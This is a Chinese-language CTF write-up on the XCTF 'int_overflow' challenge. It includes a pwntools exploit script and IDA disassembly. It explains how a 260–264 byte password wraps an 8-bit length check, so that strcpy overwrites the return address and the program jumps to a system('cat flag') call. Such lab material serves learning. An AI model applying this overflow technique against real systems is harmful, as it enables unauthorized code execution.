1、本想拿windows下整數溢出做漏洞實戰,奈何沒找到合適的windows版本鏡像,看不到實際效果,只能作罷;遂拿ctf的整數溢出學習;xctf下面有個int_overflow題不錯,可以拿來練手!
這里建議把int_overflow下載到本地測試,不要通過網絡遠程測試(坑得一b);我用的是kali的系統,裝了docker鏡像,這份代碼是在鏡像中運行的。效果如下:隨便屬於什么內容都提示success;
root@xxx_ctf:/ctf/work# ./int_overflow --------------------- ~~ Welcome to CTF! ~~ 1.Login 2.Exit --------------------- Your choice:1 Please input your username: admin Hello admin Please input your passwd: 123456 Success
同目錄下自己建了個flag文件,后續int_overflow溢出時會讀這個flag文件;flag文件的內容是:flag{1234567890}
這里先解釋一下為什么不要通過網絡遠程測試,這是我測試時報的錯:sendlineafter函數出錯了,一直報raise EOFERROR錯誤;查了好久的資料,https://github.com/Gallopsled/pwntools/issues/47 這里給了提示:If there's no data to read, an EOFError is raised to the top level;如果服務器沒有數據返回,這個函數就會報EOFError錯誤。后來換成本地測試,一切都正常了!
root@xxxx_ctf:/ctf/work# python3 int_overflow.py [+] Opening connection to 111.200.241.244 on port 57052: Done Traceback (most recent call last): File "int_overflow.py", line 4, in <module> io.sendlineafter("Your choice:", "1") File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 796, in sendlineafter res = self.recvuntil(delim, timeout=timeout) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 310, in recvuntil res = self.recv(timeout=self.timeout) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 82, in recv return self._recv(numb, timeout) or b'' File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 160, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError
先看看本地測試的結果:成功拿到flag{1234567890}(當然這個flag是我剛才人為“偽造”的);
root@xxxx_ctf:/ctf/work# python3 int_overflow.py [+] Starting local process './int_overflow': pid 182 [*] Switching to interactive mode Success flag{1234567890} [*] Got EOF while reading in interactive $ [*] Process './int_overflow' stopped with exit code -11 (SIGSEGV) (pid 182) [*] Got EOF while sending in interactive
先把POC貼出來:這是在我kali本機測試的代碼
from pwn import * #io = remote("111.200.241.244", 57052) io = process("./int_overflow") cat_flag_addr = 0x0804868B io.sendlineafter("Your choice:","1") io.sendlineafter("your username:","kk") io.recvuntil("your passwd:") payload = b"a" * 0x14 + b"aaaa" + p32(cat_flag_addr)+b"a"*234 io.sendline(payload) #io.recvall() io.interactive()
2、現在分析代碼原理
很多時候做逆向,我們是拿不到源代碼的(這不廢話么,都能拿到源代碼了還需要逆向么?直接正常二次開發不就完了?)。對於大型的工程,代碼都是幾十、幾百萬行的,轉成匯編后代碼會更多,這么多代碼,應該從哪入手了?
(1) 一般情況下,都是從數據開始的。根據逆向的目的,先找到數據,比如破解軟件,找到注冊失敗的提示;又比如破解登陸,找到登陸失敗的提示等。動態調試可以通過CE,這里是靜態分析,就用IDA了。先打開IDA,來到string窗口。這里既然是ctf比賽,目的是拿到flag,自然而言就是先找flag了嘛!這里剛好有cat flag字符串,應該就是這里了(看看上文,我在同目錄下新建了一個flag文件的,這里大概率就是在linux下通過cat命令查看文件內容的);
進入text界面,看到這里使用了cat flag字符,這下立即明朗了:這里把cat flag壓棧,然后調用system命令執行cat flag字符串。所以如果我們想看到flag,就必須想辦法跳轉到這個函數的入口點,即:0x804868B;
正常情況下,這些代碼都在服務器,我們是沒法改代碼的(要是都能改代碼了,說明已經能控制服務器了,溢出已經沒意義)。要想讓程序跳轉到0x804868B執行,只能想辦法改變各個函數返回地址的值,讓ebp+4的地方被改成0x804868B;那么問題又來了,從main開始,經過了層層的函數調用,到底改哪個函數的ebp+4最合適了?
剛才說了,程序都在服務端,逆向人員此時是沒法改代碼的,只能通過發送超長的字符串去改變ebp+4,所以一般情況下,最好是更改字符串接受函數的ebp+4;從目標代碼執行的情況看,有3個地方接受了用戶的輸入,分別是:
- 選擇login還是exit
- 輸入用戶名
- 輸入密碼
這3個地方,哪個地方最適合發送我們構造的payload去改變epb+4了?
(2)先看第一個地方:選擇login還是exit;從匯編代碼看,輸入必須是整數;用戶的輸入分別和1或2比較。如果既不是1、也不是2,那么打印Invalid code提示;這對用戶輸入的類型做了限制,只能是1或2,所以暫時放棄,不考慮這里了!
繼續分析后兩個用戶輸入之前,先進login函數瞅瞅:這里分別初始化兩個字符串s和buf,長度分別是0x20和0x200. 經驗上看,0x20應該是用戶名,0x200的應該是密碼,畢竟密碼不能公開,長一點更安全的嘛!又有一點要注意:這里是都是外平棧的,函數調用完后才通過add esp的方式平棧!
.text:0804872C push 20h ; ' ' ; n .text:0804872E push 0 ; c .text:08048730 lea eax, [ebp+s] .text:08048733 push eax ; s .text:08048734 call _memset .text:08048739 add esp, 10h .text:0804873C sub esp, 4 .text:0804873F push 200h ; n .text:08048744 push 0 ; c .text:08048746 lea eax, [ebp+buf] .text:0804874C push eax ; s .text:0804874D call _memset .text:08048752 add esp, 10h
然后再調用read函數把用戶輸入的用戶名保存在s;這里用戶名限制了長度,不能超過0x19=25個字節;
.text:08048765 sub esp, 4 .text:08048768 push 19h ; nbytes .text:0804876A lea eax, [ebp+s] .text:0804876D push eax ; buf .text:0804876E push 0 ; fd .text:08048770 call _read .text:08048775 add esp, 10h
接着打印用戶輸入的用戶名,確保用戶沒輸錯:
.text:08048778 sub esp, 8 .text:0804877B lea eax, [ebp+s] .text:0804877E push eax .text:0804877F push offset format ; "Hello %s\n" .text:08048784 call _printf .text:08048789 add esp, 10h
接着繼續輸入密碼:同樣調用read函數,把用戶輸入的密碼保存在buf中;這里密碼的長度在0-0x199之間;
.text:0804878C sub esp, 0Ch .text:0804878F push offset aPleaseInputYou_0 ; "Please input your passwd:" .text:08048794 call _puts .text:08048799 add esp, 10h .text:0804879C sub esp, 4 .text:0804879F push 199h ; nbytes .text:080487A4 lea eax, [ebp+buf] .text:080487AA push eax ; s .text:080487AB push 0 ; fd .text:080487AD call _read .text:080487B2 add esp, 10h
這還沒完了,用戶輸入完密碼,接着調用check_passwd函數對密碼做檢查:
.text:080487B5 sub esp, 0Ch .text:080487B8 lea eax, [ebp+buf] .text:080487BE push eax ; buf .text:080487BF call check_passwd .text:080487C4 add esp, 10h
進入check_password看看是怎么檢查密碼的,代碼如下;核心就是看看密碼的長度,必須在3~8之間,否則提示密碼無效;
.text:080486AA sub esp, 0Ch .text:080486AD push [ebp+s] ; s .text:080486B0 call _strlen .text:080486B5 add esp, 10h .text:080486B8 mov [ebp+var_9], al .text:080486BB cmp [ebp+var_9], 3 .text:080486BF jbe short loc_80486FC .text:080486C1 cmp [ebp+var_9], 8 .text:080486C5 ja short loc_80486FC .text:080486C7 sub esp, 0Ch .text:080486CA push offset s ; "Success" .text:080486CF call _puts .text:080486D4 add esp, 10h .text:080486D7 mov eax, ds:stdout@@GLIBC_2_0 .text:080486DC sub esp, 0Ch .text:080486DF push eax ; stream .text:080486E0 call _fflush .text:080486E5 add esp, 10h .text:080486E8 sub esp, 8 .text:080486EB push [ebp+s] ; src .text:080486EE lea eax, [ebp+dest] .text:080486F1 push eax ; dest .text:080486F2 call _strcpy .text:080486F7 add esp, 10h
以上就是用戶名和密碼輸入的簡單分析和解讀,那么到底哪個更適合用來發送我們的payload了?這里先畫個簡單的堆棧圖:login函數一進來就分配了0x228的空間。在此基礎上調用read函數接受輸入的用戶名;這里就無法通過用戶名覆蓋login函數的返回地址了,原因如下:
- 保存用戶名的read函數棧如下如所示:從read的參數看,用戶名被保存在ebp-0x28的位置,但read只讀取了不超過0x19=25字節的長度,是無法覆蓋login返回地址的!
既然用戶名這里不行,那就繼續看密碼的輸入;根據代碼畫堆棧圖如下:發現和用戶名一樣的窘境:read這里限制只讀取0x199個字節,從ebp-0x228這里開始讀0x199還是夠不着login的返回地址,這可咋整呀?(注意:嚴格講:紅框部分不能叫read函數棧,我這里是為了區分login函數主題才這樣叫的!)
既然密碼輸入那里也不行,那就繼續找唄;只要涉及到函數調用的地方,肯定會在ebp+4的地方保存返回地址,就存在被覆蓋的可能!下一個就是檢查密碼長度的check_passwd函數了,函數的棧圖如下:從這里也看出不能覆蓋login的返回地址,繼續進入check_passwd函數看:(注意:嚴格講:紅框部分不能叫check_passwd函數棧,我這里是為了區分login函數主題才這樣叫的!)
進入check_passwd函數,前面都是常規的操作:分配棧空間、計算密碼長度,看看密碼長度是不是在3和8之間,如果是就打印success;這里沒有可以利用的地方,略過!
.text:080486A4 push ebp .text:080486A5 mov ebp, esp .text:080486A7 sub esp, 18h .text:080486AA sub esp, 0Ch .text:080486AD push [ebp+s] ; s .text:080486B0 call _strlen .text:080486B5 add esp, 10h .text:080486B8 mov [ebp+var_9], al ; ebp-0x9 .text:080486BB cmp [ebp+var_9], 3 .text:080486BF jbe short loc_80486FC .text:080486C1 cmp [ebp+var_9], 8 .text:080486C5 ja short loc_80486FC .text:080486C7 sub esp, 0Ch .text:080486CA push offset s ; "Success" .text:080486CF call _puts .text:080486D4 add esp, 10h .text:080486D7 mov eax, ds:stdout@@GLIBC_2_0 .text:080486DC sub esp, 0Ch .text:080486DF push eax ; stream .text:080486E0 call _fflush .text:080486E5 add esp, 10h
前面執行完,這里有個strcpy操作,關鍵點終於來了: 這個函數的參數分別是密碼和ebp-0x14(注意:這里的ebp是check_passwd函數的),也就是把密碼拷貝到ebp-0x14處,並且沒有長度檢查喲,是全部拷貝喲!如果從這里開始計算,需要多少個字節才能覆蓋返回地址了? 覆蓋哪個函數的返回地址了?
從上面的棧圖可以看到,此時棧上有兩個返回地址,距離ebp-0x14最近的當然是check_passwd的返回地址了(返回到login)。另一個是就是login的返回地址了(返回到main)。這里覆蓋哪一個最合適了?一般情況下是就近原則:選擇當前調用函數的返回地址覆蓋!這里先選check_passwd的返回地址覆蓋;
密碼被復制到ebp-0x14的地方,ebp+4才是返回地址,所以需要先填充0x14+0x4個字節,接着再寫入我們指定的返回地址即可,所以payload如下:
- b"a"*0x14+b"a"*4+p32(我們指定的跳轉地址)
這樣就完了么? 這個payload一共0x14+4+4=28字節=0001 1100字節,但是check_passwd里面有如下關鍵的檢查代碼:先調用strlen計算出密碼長度,然后保存在eax;此時取al、也就是密碼長度的最低8bit,看看是不是在3~8之間;如果不是,就跳轉到另一個分支,不會再執行strcpy,所以我們構造的密碼的長度需要繞過這個檢查!
.text:080486AA sub esp, 0Ch .text:080486AD push [ebp+s] ; s .text:080486B0 call _strlen .text:080486B5 add esp, 10h .text:080486B8 mov [ebp+var_9], al ; ebp-0x9 .text:080486BB cmp [ebp+var_9], 3 .text:080486BF jbe short loc_80486FC .text:080486C1 cmp [ebp+var_9], 8 .text:080486C5 ja short loc_80486FC
這里al寄存器的值必須在4(不包括3)~8之間,所以字符串的長度必須是2^8+4 ~ 2^8+8 之間,原因很簡單:al已經固定了在3~8,否則通不過長度檢查,那么只能在ah上想辦法了,此時如果ah最低位是1,那么此時的ax=2^8=1 0000 0000,加上al的值,也就在1 0000 0100 ~ 1 0000 1000之間了;所以我們構造的密碼字符串長度的需要在260~264之間!
上面的payload我們只填充了28個字節,還差至少260-28=232個字節,所以這里繼續構造paylaod(取個中間數,剛好卡在4~8中間,不踩線):
- b"a"*0x14+b"a"*4+p32(我們指定的跳轉地址) + b"a"*234
總結:
- 這里調用關系層級比較多:main->login->check_passwd->strcpy,一直到strcpy才找到覆蓋ebp的地方,挖掘這種漏洞需要耐心!
- 每調用一次函數就會在棧存放返回地址,就有被覆蓋的可能,一般是選擇距離最近(也就是當前調用函數)的返回地址覆蓋
- 棧溢出高危地方的特征:
- mov [ebp+寄存器*4+立即數], 寄存器; 這里通過改變寄存器的值能改變ebp+4的值,達到覆蓋返回地址的效果!
- 字符串操作函數比如strcat、memset、strcpy等函數前面出現了lea [ebp+立即數],這就是把棧地址作為參數傳入這些函數,然后這個特定的棧地址寫數據,這里也存在溢出的可能性!
補充說明:
C和C++有地址、指針的概念,加上逆向又可能多重指針,層層嵌套,很多初學者可能不好理解,我這里總結了一下這些概念之間的關系;就拿前段時間分析sqlite數據庫的一張截圖,如下:比如我定義了一個字符串char *s = “C:\users\xxxx\xxxxx\xxxx\xxxx”,這行代碼怎么理解了?
- 首先,s是個指針,它本身就是個變量,存放在棧里的,所以這個變量本身也是要占用棧空間的。&s就表示取s占用空間的地址,也就是棧上的地址,也就是最左邊那一列(看我圖中標記的&s)
- 其次:s表示指針,也就是指向的地址空間在哪,那么就是存儲在棧上的數據,也就是中間那列(看我圖中標記的s);注意:&s和s都是地址,&s表示s這個變量本身的地址,s表示這個變量存儲(也就是指向)的地址,這兩個是不一樣的!這里很容易混淆!
- *s表示取內容,也就是把堆上字符串取出來,就是最右邊那列!
參考:
1、https://github.com/danigargu/CVE-2020-0796 Windows SMBv3 LPE Exploit
2、https://security.tencent.com/index.php/blog/msg/117 Windows 10下MS16-098 RGNOBJ整數溢出漏洞分析及利用